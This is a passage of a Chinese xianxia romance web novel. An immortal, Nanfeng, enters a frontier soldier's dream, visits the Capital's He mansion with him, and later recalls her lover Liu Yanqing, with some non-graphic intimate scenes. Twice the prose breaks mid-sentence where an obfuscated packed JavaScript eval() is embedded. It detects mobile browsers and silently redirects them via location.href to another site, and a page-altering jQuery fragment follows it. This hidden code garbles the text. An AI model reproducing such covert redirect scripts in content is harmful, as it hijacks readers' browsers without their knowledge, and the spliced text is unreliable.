顿时,荒漠像是被什么力量撕开了一道口子,绿意从地底涌出,转眼间黄沙变作绿洲。清泉从石缝中涌出,潺潺流淌,草木葱茏,花香扑鼻,连空气都变得湿润起来。 “既然是噩梦,那就先替你转噩为安吧。” 他愣住了,手里的匕首“咣当”一声掉在地上,眼神里的冰冷渐渐化开,取而代之的是一抹难以置信的震惊。 他缓缓站起身,高大的身影在绿洲的映衬下显得格外挺拔。 他低头看了看自己的手,又抬头看向我,喉结动了动,像是想说些什么,却最终没有开口。 我挑了挑眉,得意地勾了勾嘴角: “怎么样,这春梦还不错吧?” 54. 梦里佳期 对凡人而言,梦境是不可控的,仅存在于睡梦中的一场幻觉。 尽管存在意识,但不应完全清醒才对。进入梦境前二姐告诉我的。 要想不被做梦的人记住,办事的时间最好选在梦境的中间时段,那个时候凡人正处于昏睡阶段,不像刚入睡和即将清醒过来时拥有一点点自我意识。 如果遇到整场梦境都很清醒的人怎么办? 二姐说,那就直接跑人,或者被他记住。 但因为是神仙嘛,只要别暴露身份就行。这话我记着呢,所以我一向是只办事,不留名。 非要留名,那就留假名。 “你怎么知道这是我的梦?” 面前的男人冷不丁问了一句。这个身似钟鼎的男人坐在那,让空气都凝滞了几分。 我愣了一下,回答道:“因为……你不认识我,我也不认识你。” “这算是解释吗?” “当然不算。准确来讲,我是故意闯进你的梦里,然后找到你。” “为什么?” “为了……为了……”我四下张望寻找借口,“为了完成你的心愿。” 硬着头皮说完,自己都觉得这话有点扯。对方也摆出一副不止我所云的表情。气氛一言难尽,男人眼底的不耐烦也逐渐显露,慢慢变成杀气。 这人的警戒心会不会太高了。不过好在是梦,他就算拔刀也杀不了我。 我松了口气,问道:“我的话很难理解吗?周公解梦,仙人入梦,不都是好事一件吗?有什么不明白的。” “是的,一点不明白,还请姑娘好生解释,说清楚。” 我不置可否地耸了耸肩膀,耐心解释道:“神仙听说你在人间做善事,特要我来奖励你这个善良的人。总而言之,我是天上来的神仙,入你的梦,听取你的愿望,酌情替你实现。” 他毫不犹豫地提出反问:“并不是一定会满足我的愿望,对吗?” “当然。神仙也是有原则的。你若是许愿一座城池黄金万两,我自然不会答应。” 他沉默了一会儿,低声问:“那……救回一条人命呢?” 起死回生吗?我重新打量了一下眼前这个男人:身材魁梧高大,足足八尺,皮肤偏黑,显然是常年风吹日晒的结果。他的眼睛和嘴角微微下沉,神情冷峻,时时刻刻都警惕着周围的一切。生人勿进,毫无温度。如此冷漠之人居然想救人一命?莫非是爱人? “你想救人?” “是。” “死了?” “是。” “怎么死的?” “昨夜,被人暗杀致死。” 我下意识环顾四周,“在这荒漠?” “不是。”他望向东南方,“在京都,贺府。昨日雨夜,有人闯进贺府,杀了我的恩人。” 我忍不住惊呼:“京都府?那你怎么知道他死了?人间的消息传送已经达到这般速度了吗?” 要知道边塞到京都一千多里地,区区凡人不可能一天内得到消息。他见我一脸不信,不出所料地冷笑出声来了。 “我也是通过梦看见的,就在昨夜。” “嗐,梦啊,我还以为……梦都是相反的,信不得。” 他嘴角一扯,露出一丝冷笑:“那你也是假的?” 我顿时语塞,怎么把自己给绕进去了? “……我是真的。” “刚才不是还说——” 我立马打断他,双手叉腰,摆出一副凶巴巴的样子:“喂!不许质疑神!” 真是个嘴巴会说的凡人。总而言之,再怎么也不能失了神仙的仪态,我清了清嗓子,挺直腰杆胸膛,轻拂羽带,端正姿态说道:“凡人的命数是固定的,不可更改。抱歉,我没法帮你,换一个愿望吧。” 听到我这么说,他依旧游刃有余。 “与其问我的愿望,倒不如我请问这位神,能替我完成什么样的心愿更直接吧?” “嚯哟,还挺会说。” 我并不惊讶,穿过梦境的甬道时特地查了下此人的信息。 “不愧是那个人教出来的徒弟,连说话方式都一模一样。” 他眼神微微一凝,“你认识师尊?” “你那师尊小我两千多岁,在我面前,他还是个娃娃呢。” 听完我无心的揶揄,他双手交叉在胸前沉吟着,居高临下,充满压迫。 “别不信啊。”我就知道他会质疑,挥了挥手,“算了,给你看样东西或许更直接。” 我一挥羽带,羽带在空中划出一道柔和的弧线,闪烁着淡淡的光芒。 随着我的动作,眼前的场景开始缓缓变化,繁华的街市迅速吞没了无边的黄沙。 城中大河宽阔,船只往来。货船载粮缓行,客船旅人凭栏远望。 两岸商铺林立,行人如织,挑夫疾走,小贩叫卖。桥头人车拥挤,孩童嬉戏。城楼远立,柳枝轻拂。 茶馆客聚,船夫撑篙,倒映水中。 他问:“这是哪里?” 我欣赏着赵国最繁华的都市,说道:“京都府啊。喏,你们贺将军的家。” 我抬手指向街对面那户朱漆金钉、气派非凡的人家。再看身旁的男人,他失掉边疆荒漠的凌厉,突然有些……怂了? “我不曾去过京都府。” “……不是吧。” 我瞪大眼睛,难以置信地打量着他。昨夜梦见了暗杀场景一下得出地点在京都贺府,说得一本正经,结果连京都府都没去过? 他说:“我自离开医鹿山后便奔赴边疆,从未离开。” 我追问:“你既未去过,为何能梦见贺府?” 他眉头微蹙:“师尊曾向我们提过京都的景象,军营里也有人说起过贺府在京都的气派……” 本想再问几句,但看他那副冷硬的表情,顿时觉得争辩也是白费力气。这人一看就是个倔脾气,伶牙俐齿,争不过还给自己添堵,何必呢? 我拍了怕他的小臂。 因为身高差距太大,我只能拍到这儿了。 假意安慰道:“都不重要。你不是梦到贺府昨夜有人夜袭杀了你的恩人吗,我这不带你来看看。这里就是此时此刻的京都,旁人看不到我们,你只管放心大胆走进去一探究竟。” 我领着他往贺府走。他愣在原地,不是犹豫要不要进去,而是一副完全不信任我的表情。气得我翻了个白眼,咂了下舌吼道:“你这人疑心这么重干嘛!只是梦,你信我一回嘛。” 他无视我的怒气,不紧不慢继续说:“我从不信初次见面不报上名字的人。” 我狠狠瞪着他,被他这副油盐不进的样子气得直咬牙,“你这样会注孤生的。” 他依旧面无表情,无所畏惧。 “不要紧,边疆尽是男人和杀戮,不知何时就死了,孤独一生也无妨。” 我被他这话噎得一时语塞,翻了个白眼,摆手道:“……没意思的男人。你不也没报上姓名吗!” “宁安桥。” 回答得好快。 “……哦。” “轮到你了。” 他转过头,目光直直地盯着我。 我被他盯得有些不自在,挺直胸膛,故作高傲道:“你你你的,我也是神仙!好歹也尊称我一声仙子吧。” “好,仙子,姓名?” 真的很生气! “风。” “没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056767|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清。” 我咬了咬牙,提高了声音:“燕风!燕子的燕,狂风暴雨的风,听清了吧!” “听清了。我们进去吧。” 无礼的人越过我朝贺府大步走去。 烦死了,又不是什么积德的事,我干嘛答应他一个愿望! 晌午的京都府,街上热闹得跟赶集似的。我带着宁安桥从街这头往那头走,距离不长,可人挤人,走得磕磕绊绊。 宁安桥的脚步有点迟疑,像是怕撞着谁。 果然刚走没几步,前面一个挑着菜篮的大婶突然转身,他躲闪不及,眼看就要撞上。 这山一样的男人要是倒下来,我可扶不住。 我心里一咯噔,正想伸手拉宁安桥,却见他整个人像一阵风似的,直接从大婶身上穿了过去,连片衣角都没碰着。 宁安桥一下子僵在原地,低头看了看自己的手,又抬头看我,眼神里全是懵。 我差点没笑出声,这场景实在有点滑稽。 他张了张嘴,似乎想问点什么,可最后还是没吭声,继续冷脸跟了上来。 这人,没忘记现在是在梦里吧? 走进贺府,宁安桥走在前头,领着我熟练地穿梭在回廊与庭院之间,比我想象中更加熟知这里,每个岔口几乎不怎么犹豫,不假思索地选择着前进的路线。 我不禁怀疑这人真的是第一次来吗? 又转弯……真的是走这边吗?我暗暗心想。 不似我的犹豫,宁安桥径直转向左边,又往前,我一脸疑惑地紧跟上,快走两步和他并肩。 我问:“你要找的恩人是谁?” 他答:“贺府的三少爷。也是定边军三将军。” 我又问:“三?还有老大和老二?叫什么名字?生得俊不俊?” 他回头瞥了我一眼,毫不客气问道:“仙子是什么风流之神吗?” 无语……我已经不记得是第几次翻白眼了。 就问问名字和长相就叫风流了吗?这叫爱美之心。 爱美之人人皆有之,是你这种五大三粗的男人不可能明白的。 又走了许久,脚底开始发酸,小腿也有些胀痛。 贺府大得离谱,回廊连着回廊,庭院套着庭院,走半天都看不到尽头。 我忍不住停下脚步,揉了揉发酸的脚踝,抬头看向前面那个依旧大步流星的男人,心里满是疑惑。 “刚才起我就想问,你又没来过这儿,怎么找得到路?” 高大的男人停下脚步,倒回来走到我跟前,僵硬地别开脸,说:“我找不到,只是在凭直觉走。” ……………… “为什么不早说!我可是跟着你走了半个时辰啊!你直接问我不就好了!” 面对我的愤怒,他毫无波澜,语气淡淡的,好像这事儿根本不值得他多费口舌。 “仙子没提,我也只好沉默。” “我——” 无言以对,我眼睛一闭心一横,反正过了今夜你我永不相见,摆了摆手,懒得再跟他计较。 “那人叫什么名字,我替你找。” 宁安桥架起双臂插在腰间,鄙夷地望着我:“仙子不会问到名字见到本人后就沉迷于男色做坏事吧?” 嚯哟,比谁豪横是吧!来来来,怕你不成。块头大又怎样,阴影面积大又怎么样,神仙的气势不能输! 我也双手叉腰:“你把我当什么了。说吧,帮人帮到底。我也是倒了八辈子霉入了你的梦。” 两两对视沉默片刻后,宁安桥终于开口:“贺祈源。” “什么?” 我一时气头上,没太听清他说的话。 “贺府三少爷,贺祈源。” 55. 初试云雨 这种感觉前所未有。不过一个凡人的名字。 有种冥冥之中,我会和此人相逢相识,且捆绑很久的感觉。 因为不能是似曾相识,从在蓬莱第几宫出生至今的三千多年,我只在光州认识了叫闻笙的教书先生,在东凉认识了一个叫顾辞的道士,在洛城为一户姓韩的人家赐了名……丢了段记忆…… “不对不对,西雨说了,抹除的记忆是关于一位……一位……” 这是我第一次到京都,第一次听到贺祈源这个名字。 为什么会产生这般异样?脑子好疼,还是别想了。 “贺祈源是吧,跟我来。” 我挥了挥羽带,示意宁安桥跟上。他冷着脸,一言不发地跟在我身后。 穿过贺府的回廊,绕过几处庭院,终于在一间书房前停下。 透过半开的窗户,我看到英气的十九岁少年正伏案画着什么,笔尖在纸上轻盈滑动,偶尔停下与进屋汇报事务的侍卫谈论几句,大多时间沉浸在画纸上,仿佛世间纷扰与他无关。 “喏,是那个活蹦乱跳的人吧。” “是。” 我双手抱着胳膊歪头,好奇地问:“什么将军,不好好守在边疆,跑回开封作甚?” “皇上召见。” “莫非是赐婚?!” 尽管赵国律令规定男子十五岁可以结婚,但实际上平均结婚年龄要晚得多,通常在弱冠之后。据我所知,贺府的大将军贺祈骁迎娶第一位妻子时已经二十有四。 宁安桥说:“皇上只有一位尚未出嫁的公主,东凉势力扩大,恐怕公主的命途只有一条路。” “和亲?” “嗯。” 我忽然有些感慨,即便是高高在上的公主,也无法选择自己的夫婿。命运对她来说,不过是一场无法抗拒的安排。 我摸着下巴,若有所思地说道:“如果不和亲的话,公主不出意外会嫁给这位贺家三少爷吧。英气少年,阳光开朗……” 宁安桥冷不丁打断我,“仙子答应我不会动坏心思的。” “只是看他面相不错,将来一定是能为国效力,建功立业之人。况且……我还什么都没说呢……” 或许是心里的小想法被完全看透,我有些不好意思地进行了蹩脚的解释。 他冷冷说道:“看得出来。仙子只差用笔墨写在脸上了。” “大夫的基本技能吗?望闻问切?是这么说的吧?”我故意调侃他。 “是,所以仙子想什么,我一眼便能识破,还请自重。” “没礼貌……再强调一遍,我不是你想的那种人。” “是吗。”他淡淡地应了一声,“那待会儿仙子再想和我做什么,可就不能了。” “……” 我被他噎得一时语塞,气得笑出声:“哼,看着你都来气,除了想踹你想不出其他想对你做的事。” “神仙也会打人吗?” “信不信我现在就揍你!” 止住玩笑话,宁安桥又言:“少将军与清漪公主青梅竹马,且众人皆知,清漪公主对祈源情深义重。” “少将军对公主呢?” “不知。边关只管生死,没人闲到谈论这些。” 我望着屋内的少年,心里涌起一种复杂的感觉。我用力晃了晃混沌的脑袋,身体内那股奇怪的力量好像仍在横冲直撞着。 我无法说明是什么感觉,为什么会有这样的感觉。 只是一个名字,一位十九岁的少年。 窗棂卷进室内的风卷起他面前书案上的宣纸,我恍惚看到他在画一幅画。 大片的白色掩映在崇山之间,似有花瓣形状的东西飘落。少年立马放下笔按住飞起的纸,等风走后,来到窗前。 在双手触碰到窗棂前,那少年站在那儿,面无表情地望着我们的方向。 他……在看我? 不可能,我现在只是一缕不存在的影子,他不可能看得到我。 那会不会是我的身后…… 我循着贺祈源的方向回首望去,空无一人的屋子门扉紧闭,唯有一扇窗户半遮半掩。若不是确定无人的气息,我差点以为撞鬼了…… 他莫非……不可能,定是发愣出神,碰巧罢了。 我忽然问道:“贺祈源……怎么写的?” 宁安桥伸手抓起我的手腕。他的手掌粗糙温热,指尖有一层薄茧,轻轻划过我的掌心时,带来一阵细微的触感。 他神情专注,一笔一画在我的掌心写下三个字。 写完后,他没有立刻松开我的手,而是微微抬眸,目光与我对视了一瞬。 那一瞬间,我似乎从他的眼神里看到了一点情绪,但很快又被他冷硬的外表掩盖。 掌心还残留着他指尖的温度,心里却更加复杂了。 “祈愿……祈源……” 我不确定再次看向窗棂另一侧的人。 不是他,不会是他……抹除的记忆,一定不是他。我的内心不断重复地告诫自己,那段丢失的重要记忆与眼前人无关。 “宁安桥,跟我讲讲昨夜你的梦里发生了什么?或许,我能救他。” 我们坐在贺府的长廊上,肩并着肩,静静望着屋内那个伏案绘画的少年。 宁安桥的声音低沉而平静,缓缓讲述着昨夜那个离奇却又真实的梦。 “成婚?”我皱了皱眉,“可贺府看上去,不像是要办喜事的样子。” 宁安桥也发现了端倪,冷声道:“会不会是以后要发生的事?” “就不怀疑梦是假的?”我反问。 “太过真实,我不敢断然。不管是祈源狰狞的面孔,还是雨地里那个举起利刃刺穿祈源胸膛的脸。” 他语气平静,不动声色地瞥了我一眼,继续目视贺祈源说:“不是说人偶尔会预见一些即将发生的事吗?昨夜的梦,或许在不久的将来……那梦里没有我,我不在贺府,我没能第一时间救下他……” “所以老是苦着张脸,是在自责吗?” “无能救下重要之人的感觉,仙子不会明白的。” 我确实无法明白。 或许柳砚清可以。 我望向书房内伏案写信的贺祈源,心里隐隐有些不安。 “将来啊……”我低声喃喃。 真的是将来吗?曾经,过去,难道没有发生过类似的事情吗? 我为什么会有这样的错觉?总觉得,他所说的一切,那么真实,真实到心口隐隐作痛。 从踏进贺府起,这方一草一木都生出了似曾相识的……错觉。 宁安桥看向我,没了之前的鄙夷,多了几分柔和。 “仙子,我们回去吧。” “不再看看吗?如果你的梦是真,这或许是你最后一次见他。” “不必了。师尊常说,凡人有各自的命数。若当真再无法相见,只怪我们缘分到此为止。” 手从袖中伸出,掌心间仙力汇集。我再次看向身后的屋内,盯着少年看了会儿。 人总爱探寻过往之事,自以为能从过去找到现下的答案。几次看着他,我都试图找出内心复杂的原因。 空空如也。 我应该是不认识他的,于此梦中,初次见面。 ……可,究竟为何…… 重返边疆我幻化出的绿洲,宁安桥的态度变了些,说话也客气许多,晓得跟我拱手行礼,不枉我如此慈眉善目的待他。 寻了一处阴凉处的大石坐下歇息,宁安桥站在一边忽然向我拱手致谢。 “多谢仙子满足我的愿望。” 我挥了挥手,懒懒道:“就当我行善积德吧,告辞。” 正要起身,想从宁安桥的旁边穿过去。突然,右手腕被人攥住,我反射性地退回原处。 “要走了吗?” “怎的?舍不得我?” “不。” “……说句是要死啊。” 真的是受不了了。 再同他对峙下去,我漫长的寿命都要受到创伤! “只是此行的目的还没达成,真就这么离开吗?”他忽然说道。 “哦?”我挑了挑眉,饶有兴趣地看着他,“你好像真的知道我是来做什么的?” “当然。” “说说看?”我双手抱胸,等着他的回答。 “想与我试试云雨之情。” 我轻轻一笑,“倘若我说不是呢?” “那便不是。” “……你这人真的很没有情趣啊。”我抬着下巴,手指轻点他肩膀,“冷漠的男人是不讨姑娘心欢的。” 说罢,落在他肩膀的手开始自觉地替他宽衣解带,卸下伪装。 “那仙子这是在做什么?” “教你做人。” 他轻扬唇角,朝我贴近了些。 “所以,还请仙子以后,不止是梦,也可到凡间来与我相会。” 我笑着抚摸他微微泛红的脸颊,拭去他额头的汗珠。 “看我心情。倘若哪天我心情不错,想起你这么个人了,说不定就跑一趟人间——” 他突然伸出左手,抵住我絮絮叨叨的嘴唇。 “仙子不如就此留在我的梦中吧。” “说笑呢。” 宁安桥伸出双手,扶上我不断升温的脸颊,嘴边是藏不住的笑意。 “没……我只是不忍心看仙子被世俗抛弃。” “哼,多管闲事。纵使世人不待见,我风流一生,也比他们活得自在。” “仙子难道不想与谁相知相爱,用尽全力去爱一个人吗?” 我吞了吞口水,没有回答,试图别过脸去,逃避他愚蠢的问题。但宁安桥没有放手的意思,力度坚定却轻柔。 “爱人,和被爱,都是这世间最奢侈的温柔……仙子也该尝尝这滋味。” 我不常抹去自己的或别人的记忆,那是第一次。 曾经医鹿山上有个特别讨厌我的少年,是柳砚清的大弟子。 因为他讨厌我,我也讨厌他,在被他无故骂了一顿后,我选择抹除自己在他记忆里的部分,也抹掉我对这个人的记忆。 是什么时候回忆起的?是我第二次面临死亡的时候。当蜉蝣啃食残躯,视野被血色模糊…… 站在旷野的江边,我回忆了许多许多,回忆起了和宁安桥的第一次见面,不是梦里,是在医鹿山。 没有雨水浇灌的绿洲又是一番别致。 我坐在岩石上晃荡着两条腿,掌中变出一支玉笛,吹了首曲子送给宁安桥。 曲子是在信州时一位叫姜妍的姑娘教我的小调。 至于去信州做了什么,记不太清。 关禁闭前生了场病,哥哥说我昏睡许久,忘记些事属常态。 手里的还是普通竹笛,哥哥最近闭关打造新的神器,是给我的。 一曲终了,也到宁安桥该梦醒的时候。 “我要回去了。” 我收起笛子,跳下岩石。他忽然叫住我,用我临时起意非常陌生的名字。 “仙子从哪里来?天宫还是蓬莱?” “不管从哪儿来,皆是你此生无法抵达的地方。” 他垂眸,沉默了片刻,低声喃喃:“燕风……燕风仙子吗?” 我轻笑着,见他可怜,之前的怨气在这一刻烟消云散。 “看在你诚恳的份上,告诉你一件事吧。燕风,并不是我的名字。” “那是?” “那是——” 我眨了眨眼,措不及防撩拨他的下颌,“不告诉你。” 那场梦后又是多少年。 宁安桥再也没梦到过不知姓名的仙子。他记住了关于她的一切,包括她的面容。 重逢时,他当真以为仙子降临凡间来寻他。 可眼前胆小自卑、委屈巴巴的凡人,哪里和她像了。感觉他再凶一点就能给她骂哭的懦弱,和那九天玄女毫无关系,和他魂牵梦萦的仙子绝无关系。 偏偏玉笛出现了。 “所以,还请仙子以后,不止是梦,也可到凡间来与我相会。” 相似的脸,不同的性子,但是……至少这次不是梦,她不是羽带一挥便会消失的神仙。 一介凡人?岂不甚好。至少这次,她不会轻易离开。 梦醒,我睁开眼满足地伸了个懒腰。 二姐已经不见踪迹,池边树下只剩我一个人。还有困意,我便打着哈欠回房歇息。 刚出后院的拱门,就见西雨站在院内张望。对上视线后,西雨毅然决然地迈出脚步。 我看出了他是来寻我,于是停在原地等他过来。 只有几步的距离西雨没有止步,一直到即将贴近我的时候,他才总算停下。 骤然拉近的距离防不胜防,我想退后,才发现身后被一根立柱阻挡。 还有,这种时候躲闪很奇怪吧,就像是怀疑西雨会做什么似的。 “去哪儿了?” 略微沙哑的声音,忍不住叫人浮想联翩。 我还是退后些吧。 “没去哪儿,靠在树下睡觉呢。三哥寻我有事?” 我一边说,一边往侧后方退了一步。但是,西雨也跟着我的动作向前踏出一步。 “没,多时不见你身影,来看看。” 身体还处在意犹未尽的状态,能不能不要靠我这么近啊! 我抬起一边手臂挡在身前,挡在我和他之间。 “多谢三哥关心。” 这个人从来不知道什么叫保持礼貌距离! 是从什么时候开始的?西雨对我的无论是态度还是什么都变得很奇怪,从前他待我是哥哥对妹妹,现在,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056768|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎哪里不太对…… 希望是我的错觉,风流过头的错觉吧。 看谁都觉得是男人,但……但那是哥哥啊! 不防腰突然酸痛起来,我下意识用手撑在腰后。一动脑就会牵扯到全身,所以才不喜欢动脑啊。 这与此次关禁闭有关。 下凡贪玩落得一身伤,爹爹救回我后不许我再离家半步,因为施下的术法需要我沉心静气,不可浮躁、不可过度兴奋和愤怒。 到底是什么术法如此麻烦!爹爹不告诉我,两位兄长和二姐也被下令不许告诉我。 西雨见状眉头当即蹙起,问道:“身体不舒服?” “腰酸而已。” “这里?” 说着手抚上我的腰,作势要给我揉揉。我吓得赶忙打起精神后退三步。 “没事了!突然不酸了!妙手回春啊西雨大夫!” 他怔愣一瞬,也同我开玩笑说:“南风仙子客气了。” 倏地,余光瞥见一抹浅色闪过,似乎躲在大门后再往里偷看。露出半颗脑袋,立刻后撤躲藏,察觉自己宽大的袖子露了点,赶忙捞起。 躲再快有我眼睛快?我纳闷着偏过头死死盯着那处,只等他探出头来当场捉拿归案。 看清门外的人后,我顿时大喜过望,叫道:“枕书君?!” 门外的人大吃一惊,惊魂未定地从暗处走到明处。 想不到门口鬼鬼祟祟的人居然就是我那即将过门的姐夫。我立刻朝他笑了笑,挥手招呼。趁此机会,拨开西雨朝云枕书跑去。 听到我叫他,云枕书吓得浑身僵硬,不过看到还有西雨在场,肉眼可见安心不少。 云枕书不敢跟我对视,忙转过头去,面朝无人的一边行礼。 “来了怎么不进去?快请!”我笑道,让至一旁。 云枕书看了眼西雨,结结巴巴地道:“不不不,我只是路过。那……你二姐,元君……不在吧?” 原来如此。 怕我,估计是担心我和二姐一个性子吧?我抬手指了指内院,二姐的卧房。 “在的,榻上睡了。枕书君找二姐?我去给你叫。” 他立马叫住欲要离开的我。 “不不不,不必麻烦。她没醒着我就放心了。” 没醒着反而放心??枕书君没事儿吧? “枕书君——” 我故意拉长声音,狐疑道:“你到底是喜欢我二姐,还是讨厌她啊?” 虽然我没有恶意,但可能语气稍微偏质问了吧,云枕书颤抖着稍稍退后,皱起眉头。 “南风仙子何出此言?元君昨日刚同我吵了一架,我怕她还在气头上,所以……” “不是吵了一架,是你单方面被骂了吧。” 我缓和语气说道:“二姐的性格和爹爹如出一辙,骂起人来一点不留情面,我替她向枕书君道歉。” 搬出诚恳的态度,我向云枕书深鞠一躬,见一旁直挺挺站着不动的西雨,我一把薅过来拉着他和我一起道歉。 云枕书赶忙扶起西雨。没扶我,是不敢。 “南风仙子言重了。元君,也是为我好。不希望我整日一副懦弱的样子,不像个男人。” 我赶忙接过话:“没有吧,我觉得枕书君这样挺好的。知书达理,玉树临风。所以仙界的仙子都争着抢着要嫁给你呢。自信点!要不要叫我大哥给你打造把涨气势的神器?” “不必麻烦了。说来,北雷真君还在闭关炼造新神器吗?” “嗯!说是给我的,所以要一定要炼成七七八十一天!” “是七七四十九。”西雨又无情地插进来。 “啊,抱歉。” 云枕书离开后,我腰疼得厉害,西雨陪我在院里的藤椅上休息。 我揉了揉腰,忍不住感叹:“夫妻啊……人神为什么一到年纪就得成婚生子呢?嫁给自己不喜欢的人,或者不合适的人,不是自己找罪受吗?简直像把自己关进牢笼。” 爹爹不会替我安排婚事,他巴不得关在家里少去祸害纯情男神男仙。 况且嫁给自己不喜欢的人,或是不合适的人,不就送自己吃苦主动把自己送进牢笼吗。 西雨的回话没有一丝迷惘。 “为了有归宿吧。” 我撇撇嘴,完全不能理解:“我现在也有归宿啊。和哥哥姐姐们在一起,一家人整整齐齐,多好。” 西雨破颜一笑说:“二姐和枕书君成亲后便会搬出去,大哥成家后也会。我……也会。” 说到最后三个字,西雨压低了声音。 我也被感染一同失落,心里一沉,“到时候只有我和爹爹了?” 西雨看我一眼,道:“你也会。你会有夫君、子嗣,与相爱之人相守一生。” “子嗣……延续血脉……正因如此,伏羲和女娲分明是兄妹,却也成了夫妻。搞不明白,子嗣是非要不可吗?!” 西雨忽然转头盯着我,我看了眼西雨,两人眼中都闪过一丝别样的情绪。但我可以断定,西雨同我想的截然不同。 “你看我干嘛?” 沉吟良久,他垂眸又抬眸注视我。 “你……是怎么想的?关于伏羲女娲的事。” 我一时之间不知道该怎么回答。 上古创世神的心思哪是我能参透的。同时,我总算明白为何西雨对我态度转变的原因是什么。 如果是西雨的话,那就没有任何可怀疑的。 在短暂的沉默后,我用难以听清的微弱声音说道:“我——” “南风!” 二姐的声音突然从身后炸开,打断了我的话。 我吓了一跳,转头看见二姐风风火火地跑过来。旁边的西雨脸色瞬间冷得像结了冰,眼神阴沉得吓人,比爹爹还吓人。 “二姐下次能不能看看时机再出现?” 然而二姐根本顾及不上西雨说的话,直接问我:“云枕书是不是来过?” “嗯,刚走。” 二姐长舒一口气,拍了拍胸口:“呼——那就好。” 怎么两人都一副德行,就这么不待见吗。算日子,不出一个月这两人可就成亲了。相看两厌,日后怎么共处一室? 话说回来,这也算某种程度的默契和适配吧。 二姐稍一犹豫,突然定睛看我,跟才发现我似的。 “你梦醒啦?怎么样,二姐特意给你安排身材魁梧的!爽不爽?” 我差点被口水呛到,赶紧咳嗽两声:“咳咳!” 西雨还在旁边呢!二姐真是……下次能不能看看场合再说话! 谁料此男,根本不介意,只是说话一贯阴阳怪气的。 “身材魁梧就好了吗?万一是个虚——” “一个娇弱秀气的处男懂什么?” “你们快闭嘴吧!” 56. 是如初见 这天夜里,我梦见了许久未见之人。 噩梦惊醒,数月前医鹿山争吵的声音久久回荡在脑海。我喘息着环顾起凌乱的卧房,闭了闭眼,披上羽衣去了海边的礁石上。 安宁之夜,总有几个未眠人。 月光悬浮在海面,拉长的光影在海面摇晃。 起风了,我拢了拢衣襟,失落地抱住自己。 这时,惊涛拍岸,许久未见之人的幻影出现在身边。白衣墨发,精致的侧脸被月光勾勒出柔美的弧线。 “自与你吵架分别后,我好像陷入了一种自暴自弃的风流寻欢之旅。” 我垂下眸子静静诉说,他静静地听着,一动不动。 “从医鹿山走后,我去了霜洲地界,试图让自己冷静下来。却不想,遇见了黑无常。被爹爹发现后,抓我回蓬莱又关了禁闭。心气越发烦闷,我竟求二姐帮我入梦去寻欢作乐。甚至……是你的弟子。” 我苦笑着换了个姿势,蜷起腿双臂环抱住。 “砚清啊,那时你为何……” 话头戛然而止,我看向他,他依旧保持着相同的姿势望着月光。 “那是你为何,化身为颜卿,与我在凡间相遇?” 好像丢了魂似的。 我竟想抓住幻影的肩膀,心力憔悴的,让他转过身来看着我。 幻影……南柯浮梦…… 南风仙子唯一擅长的法术,幻术。为了炫耀自己终于有了拿得出手的看家本领,我将其取名“南柯浮梦”。 “如果是幻境,你是否能回答我的问题?我是不是能……触摸到你?” 我不确定。 毕竟眼前无动于衷的人,也是我变出的幻影。 “我好想你……你难道都不想我吗?就不肯主动来见我吗?非要……非要到死,才能再见吗?” 【逆梦归尘】 他忽然伸手指尖穿过我的发丝抓起我的一撮头发,力道不轻不重,却让我无法后退。我还没来得及反应,胡乱的唇已经欺压下来。每亲吻一次,他抓着我头发的手就用力一分。 虽不至于疼,但我担心我宝贵的头发被他扯下来。 “你别……老是……” 我使劲拍打他的臂膀,此人就跟反应迟钝似的,隔了好久才晓得稍稍离开些给彼此喘息的空隙。 “疼?” “倒也不是……” “说来,有些热了。” “确实。” 我眯起眼望了望梅林上空的烈日。 “谁叫你按捺不住的。罢了,下不为例。” 轻挥羽带,指尖流光溢彩,梅林幻化成雨林,上空骤然云聚,细雨如丝,悄然洒落。沙粒微润,草木轻颤,雨滴坠入清泉,涟漪荡开,天地间一片朦胧。 如陷在夏夜低沉的云雾里,闷不吭声的浮萍下摇曳着深藏暗处的水波。 炙手可热的被揉碎,揉灭了幻影却揉不灭心意。 是沙漠旅人发现绿洲的渴望,迫不及待跳进冰凉的湖水深处,吮吸甘霖,沐浴雨林。 把全身浇透的是汗水还是雨水?已经分不清了。 回荡在耳边的声音是呼吸还是飞鸟掠过的啼鸣?已经分不清了。 颤抖的双手抓住的人是真实的还是虚幻的,已经分不清了。 忽而雷声隐隐,吞没了低沉的哭泣。寂寞的心终于得到慰藉,醉倒在温柔乡。 柳砚清的另一只手揽住我的腰,将我拉得更近,几乎贴在他的小腹上。 我能感觉到他急促的心跳,和我的交织在一起,分不清是谁的更快。声音……不自觉变得风月。 直到我几乎缺氧,他才稍稍退开,弓起腰与我面面相觑,声音低哑。 “按耐不住的人,不是你吗?” 我鼓起两腮,使气掐了一下他的后腰。 “是你先勾引我的!” 清隽的脸上微微扬了下眉,“又把莫须有的罪名扣在我头上。修道之人不重外表,也不善打扮,平凡模样罢了。” 我故意上上下下仔仔细细打量他一番,特别在特别的地方稍作停留,意味深长地轻挑眉,撇了撇嘴:“这还平凡呢?” 说完,我一下笑出声来:“不过,也只许我一个人享受。” 闻言,他笑了一下,仙人的脸上第一次看到如此明朗的笑。 “这是要,宣誓主权?” 我坏笑着凑近他,指尖细细描摹他的眉眼:“你愿意吗?” 他侧过脸,轻轻亲吻我的掌心,唇瓣擦过掌心时,像是轻轻咬了一下:“不愿意。” “……” 